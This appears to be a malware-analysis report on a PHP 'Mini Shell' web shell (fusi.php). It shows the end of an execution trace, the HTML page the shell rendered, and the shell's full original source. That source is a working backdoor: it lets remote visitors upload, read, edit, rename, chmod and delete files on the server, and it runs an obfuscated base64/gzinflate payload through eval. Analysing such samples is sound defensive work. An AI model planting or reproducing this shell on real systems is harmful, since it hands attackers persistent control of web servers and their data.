2		A						/var/www/html/uploads/fusi.php	308	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	309	$info .= 'w'
2		A						/var/www/html/uploads/fusi.php	312	$info .= 'x'
2		A						/var/www/html/uploads/fusi.php	315	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	316	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	319	$info .= 'x'
2		A						/var/www/html/uploads/fusi.php	322	$info .= 'r'
2		A						/var/www/html/uploads/fusi.php	323	$info .= '-'
2		A						/var/www/html/uploads/fusi.php	326	$info .= 'x'
2	57	1	0.003187	453328
2	57	R			'-rwxr-xr-x'
2	59	0	0.003210	453288	is_writable	0		/var/www/html/uploads/fusi.php	255	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.003229	453328
2	59	R			FALSE
2	60	0	0.003242	453288	is_readable	0		/var/www/html/uploads/fusi.php	255	1	'/var/www/html/uploads/prepend.php'
2	60	1	0.003258	453328
2	60	R			TRUE
1	3	1	0.003273	453224
			0.003302	326624
TRACE END   [2023-02-13 02:04:01.724356]


Generated HTML code

<html><head>
<title>Mini Shell</title>
<style>

.filE {
    background:black;
    font-size:11px;
    color:lime;
    box-shadow: 0px 0px 5px 0px #6A6969;
}
.hed {
    background:url("https://s31.postimg.org/70sl7khff/mini.jpg");
    width:700px;
    height:100px;
}
body{
    font-family: "Typesenses", cursive;
    background: url("https://s32.postimg.org/lnl1359ed/min.jpg");
    text-shadow:text-shadow:red 2px 0px 12px; color:#990707;
}
 
#content tr:hover{
    background-color: #630808;
    color:red;
}
#content .first{
    background-color: black;
}
#content .first:hover{
    background-color:  black;
    color:red;
}
table{
    background:#1C1B1B;
    border: 1px solid black;
    box-shadow: 0px 0px 5px 0px #6A6969;
}
H1{
    font-family: "Typesenses", cursive;
}
a{
    color: #BF1010;
    text-decoration: none;
}
a:hover{
    color: black;
    color:black;
}
input,select,textarea{
    background:black;
    color:lime;
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
    box-shadow: 0px 0px 5px 0px #6A6969;
}
.mens {
    background:#6A6969;
    box-shadow: 0px 0px 5px 0px #6A6969;
    width:700px;
    height:30px;
    color:lime;
    text-decoration: none;
}
</style>
</head>
<body><center>
<div class="hed"></div>
<div class="mens">
<a href="?&amp;x=string">Encode Decode</a>
</div></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>Current Path : <a href="?path=Lw==">/</a><a href="?path=L3Zhcg==">var</a>/<a href="?path=L3Zhci93d3c=">www</a>/<a href="?path=L3Zhci93d3cvaHRtbA==">html</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file">
<input type="submit" value="upload">
</form>
</td></tr></tbody></table><br><center></center><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tbody><tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
        <td><a href="?filesrc=L3Zhci93d3cvaHRtbC9iZW5lcmkuc2VfbWFsd2FyZV9hbmFseXNpcw==&amp;path=L3Zhci93d3cvaHRtbA==">beneri.se_malware_analysis</a></td>
        <td><center>0 KB</center></td>
        <td><center>-rw-r--r--</center></td>
        <td><center><form method="POST" action="?option&amp;path=L3Zhci93d3cvaHRtbA==">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="beneri.se_malware_analysis">
        <input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
        <input type="submit" value=">">
        </form></center></td>
        </tr><tr>
        <td><a href="?filesrc=L3Zhci93d3cvaHRtbC9mdXNpLnBocA==&amp;path=L3Zhci93d3cvaHRtbA==">fusi.php</a></td>
        <td><center>13.686 KB</center></td>
        <td><center>-rw-rw-r--</center></td>
        <td><center><form method="POST" action="?option&amp;path=L3Zhci93d3cvaHRtbA==">
        <select name="opt">
        <option value=""></option>
        <option value="delete">Delete</option>
        <option value="chmod">Chmod</option>
        <option value="rename">Rename</option>
        <option value="edit">Edit</option>
        </select>
        <input type="hidden" name="type" value="file">
        <input type="hidden" name="name" value="fusi.php">
        <input type="hidden" name="path" value="/var/www/html/fusi.php">
        <input type="submit" value=">">
        </form></center></td>
        </tr></tbody></table>
    </div>

</body></html>

Original PHP code

<?php
error_reporting(0);
set_time_limit(0);
 
if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}
 
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<title>Mini Shell</title>
<style>

.filE {
    background:black;
    font-size:11px;
    color:lime;
    box-shadow: 0px 0px 5px 0px #6A6969;
}
.hed {
    background:url("https://s31.postimg.org/70sl7khff/mini.jpg");
    width:700px;
    height:100px;
}
body{
    font-family: "Typesenses", cursive;
    background: url("https://s32.postimg.org/lnl1359ed/min.jpg");
    text-shadow:text-shadow:red 2px 0px 12px; color:#990707;
}
 
#content tr:hover{
    background-color: #630808;
    color:red;
}
#content .first{
    background-color: black;
}
#content .first:hover{
    background-color:  black;
    color:red;
}
table{
    background:#1C1B1B;
    border: 1px solid black;
    box-shadow: 0px 0px 5px 0px #6A6969;
}
H1{
    font-family: "Typesenses", cursive;
}
a{
    color: #BF1010;
    text-decoration: none;
}
a:hover{
    color: black;
    color:black;
}
input,select,textarea{
    background:black;
    color:lime;
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
    box-shadow: 0px 0px 5px 0px #6A6969;
}
.mens {
    background:#6A6969;
    box-shadow: 0px 0px 5px 0px #6A6969;
    width:700px;
    height:30px;
    color:lime;
    text-decoration: none;
}
</style>
</HEAD>
<BODY><center>
<div class="hed"></div>
<div class="mens">
<a href="?&amp;x=string">Encode Decode</a>
</div></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
if(isset($_GET['x']) && ($_GET['x'] == 'string')){
$EncodeDecode = "ZWNobyAiPGNlbnRlcj4iOw0KQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyANCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KJHRleHQgPSAkX1BPU1RbJ2NvZGUnXTsNCj8+DQo8c3R5bGU+DQouYSB7DQoJYmFja2dyb3VuZDogYmxhY2s7DQoJY29sb3I6IGxpbWU7DQoJYm94LXNoYWRvdzogMHB4IDBweCA1cHggMHB4ICM2QTY5Njk7DQp9DQouYiB7DQoJYmFja2dyb3VuZDogYmxhY2s7DQoJY29sb3I6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29kZSgkdGV4dCk7DQpicmVhaztjYXNlICdzdHInIDogJGNvZGk9c3RyX3JvdDEzKGd6aW5mbGF0ZShzdHJfcm90MTMoYmFzZTY0X2RlY29kZSgoJHRleHQpKSkpKTsNCmJyZWFrO2Nhc2UgJ2d6aW5mbGF0ZScgOiAkY29kaT1zdHJfcm90MTMoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKSk7DQpicmVhaztjYXNlICdnemluZmxhdGVzJyA6ICRjb2RpPWd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQpicmVhaztjYXNlICdzdHIyJyA6ICRjb2RpPXN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQpicmVhaztjYXNlICd1cmxlbmNvZGUnIDogJGNvZGk9cmF3dXJsZGVjb2RlKCR0ZXh0KTsNCmJyZWFrO2Nhc2UgJ3VyJyA6ICRjb2RpPWNvbnZlcnRfdXVkZWNvZGUoJHRleHQpOw0KYnJlYWs7Y2FzZSAndXJsJyA6ICRjb2RpPWJhc2U2NF9kZWNvZGUoZ3ppbmZsYXRlKHN0cl9yb3QxMyhjb252ZXJ0X3V1ZGVjb2RlKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCgkdGV4dCkpKSkpKSk7DQpicmVhaztkZWZhdWx0OmJyZWFrO319DQplY2hvICc8dGV4dGFyZWEgY29scz02MiByb3dzPTUgY2xhc3M9ImIiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+PEJSPjxCUj4nOw0KPz4=";
@eval(gzinflate(base64_decode($EncodeDecode)));
}
if(isset($_GET['path'])){
    $path = base64_decode($_GET['path']);
}else{
    $path = getcwd();
}
$pathen = base64_encode($path);
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
 
foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path='.base64_encode("/").'">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    $linkpath = '';
    for($i=0;$i<=$id;$i++){
        $linkpath .= "$paths[$i]";
        if($i != $id) $linkpath .= "/";
    }
    echo base64_encode($linkpath);
    echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="green">File Upload Done.</font><br />';
    }else{
        echo '<font color="red">File Upload Error.</font><br />';
    }
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td>Current File : ";
    echo base64_decode($_GET['filesrc']);
    echo '</tr></td></table><br />';
    echo("<div class='filE'><pre>".htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc'])))."</pre></div>");
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">Change Permission Done.</font><br />';
            }else{
                echo '<font color="red">Change Permission Error.</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Change Name Done.</font><br />';
            }else{
                echo '<font color="red">Change Name Error.</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">Edit File Done.</font><br />';
            }else{
                echo '<font color="red">Edit File Error.</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">Delete Dir Done.</font><br />';
            }else{
                echo '<font color="red">Delete Dir Error.</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">Delete File Done.</font><br />';
            }else{
                echo '<font color="red">Delete File Error.</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr>';
 
    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        $dirlink = base64_encode("$path/$dir");
        echo "<tr>
        <td><a href=\"?path=$dirlink\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="red">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
         
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
        <select name=\"opt\">
        <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }
        $filelink = base64_encode("$path/$file");
        echo "<tr>
        <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="red">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
        <select name=\"opt\">
        <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
echo '
</BODY>
</HTML>';
function perms($file){
    $perms = @fileperms($file);
 
if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}
 
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));
 
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
            (($perms & 0x0400) ? 's' : 'x' ) :
            (($perms & 0x0400) ? 'S' : '-'));
 
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
            (($perms & 0x0200) ? 't' : 'x' ) :
            (($perms & 0x0200) ? 'T' : '-'));
 
    return $info;
}
?>